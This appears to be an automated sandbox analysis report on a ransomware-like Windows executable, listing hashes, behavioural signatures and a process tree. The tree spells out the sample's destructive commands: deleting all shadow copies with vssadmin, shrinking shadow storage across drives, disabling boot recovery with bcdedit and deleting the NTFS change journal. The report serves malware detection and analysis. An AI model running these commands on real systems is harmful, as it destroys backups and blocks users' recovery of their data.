Analysis

  • max time kernel
    144s
  • max time network
    43s
  • platform
    windows7_x64
  • resource
    win7-20220901-en
  • resource tags

    arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
  • submitted
    19-10-2022 18:40

General

  • Target

    abd49fd6f57d4f0ffef794257692c61b2089ee412ae27fe36a9ffee41f9d5e14.exe

  • Size

    1.1MB

  • MD5

    ad539ebdf9e34e02be487134cf9a6713

  • SHA1

    b5af8a12c5a6ed369debaad7eab59e3cb1715e2d

  • SHA256

    abd49fd6f57d4f0ffef794257692c61b2089ee412ae27fe36a9ffee41f9d5e14

  • SHA512

    386291d7dd9fa62f7514e784a238bd7a5099a0d2edd8af6085c61e3953a6914faf3dc299f07d56bed3b5b337a18c8b636c84f88693d3bc2512f8dfd51e711492

  • SSDEEP

    24576:g3BzKGHF0bxTCFvXwKt/aISpu4Qc6F3v1HT2BzN2tgGS3YzYhoHWxVGI8WIQbQ:KV4xTCwu4Qc6/F87gIwQ

Score
9/10

Malware Config

Signatures

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Enumerates connected drives 3 TTPs 5 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Interacts with shadow copies 2 TTPs 8 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\abd49fd6f57d4f0ffef794257692c61b2089ee412ae27fe36a9ffee41f9d5e14.exe
    "C:\Users\Admin\AppData\Local\Temp\abd49fd6f57d4f0ffef794257692c61b2089ee412ae27fe36a9ffee41f9d5e14.exe"
    1⤵
    • Enumerates connected drives
    • Suspicious use of WriteProcessMemory
    PID:1724
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\Service
      2⤵
        PID:1148
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c @echo off
        2⤵
          PID:2000
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c chcp 437
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2004
          • C:\Windows\SysWOW64\chcp.com
            chcp 437
            3⤵
              PID:1100
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c mkdir "%TEMP%\Service"
            2⤵
              PID:856
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
              2⤵
                PID:2008
                • C:\Windows\system32\vssadmin.exe
                  vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
                  3⤵
                  • Interacts with shadow copies
                  PID:436
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
                2⤵
                  PID:368
                  • C:\Windows\system32\vssadmin.exe
                    vssadmin.exe Delete Shadows /all /quiet
                    3⤵
                    • Interacts with shadow copies
                    PID:1940
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
                  2⤵
                    PID:276
                    • C:\Windows\system32\vssadmin.exe
                      vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
                      3⤵
                      • Interacts with shadow copies
                      PID:1572
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1656
                    • C:\Windows\system32\bcdedit.exe
                      bcdedit /set {default} recoveryenabled No
                      3⤵
                      • Modifies boot configuration data using bcdedit
                      PID:1044
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=401MB
                    2⤵
                      PID:968
                      • C:\Windows\system32\vssadmin.exe
                        vssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=401MB
                        3⤵
                        • Interacts with shadow copies
                        PID:2020
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                      2⤵
                        PID:1404
                        • C:\Windows\system32\bcdedit.exe
                          bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                          3⤵
                          • Modifies boot configuration data using bcdedit
                          PID:1276
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
                        2⤵
                          PID:1468
                        • C:\Windows\System32\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=unbounded
                          2⤵
                            PID:680
                            • C:\Windows\system32\vssadmin.exe
                              vssadmin resize shadowstorage /for=E:\ /on=E:\ /maxsize=unbounded
                              3⤵
                              • Interacts with shadow copies
                              PID:820
                          • C:\Windows\System32\cmd.exe
                            "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
                            2⤵
                              PID:1500
                              • C:\Windows\system32\vssadmin.exe
                                vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
                                3⤵
                                • Interacts with shadow copies
                                PID:1692
                            • C:\Windows\System32\cmd.exe
                              "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
                              2⤵
                                PID:1812
                                • C:\Windows\system32\vssadmin.exe
                                  vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
                                  3⤵
                                  • Interacts with shadow copies
                                  PID:1728
                              • C:\Windows\System32\cmd.exe
                                "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=401MB
                                2⤵
                                  PID:1528
                                  • C:\Windows\system32\vssadmin.exe
                                    vssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=401MB
                                    3⤵
                                    • Interacts with shadow copies
                                    PID:1160
                                • C:\Windows\System32\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=G:\ /on=G:\ /maxsize=unbounded
                                  2⤵
                                    PID:1632
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=H:\ /on=H:\ /maxsize=401MB
                                    2⤵
                                      PID:2016
                                    • C:\Windows\System32\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=H:\ /on=H:\ /maxsize=unbounded
                                      2⤵
                                        PID:1688
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=I:\ /on=I:\ /maxsize=401MB
                                        2⤵
                                          PID:1768

                                      Network

                                      MITRE ATT&CK Enterprise v6

                                      Replay Monitor

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                                      Downloads

                                      • memory/1724-54-0x0000000074B51000-0x0000000074B53000-memory.dmp

                                        Filesize

                                        8KB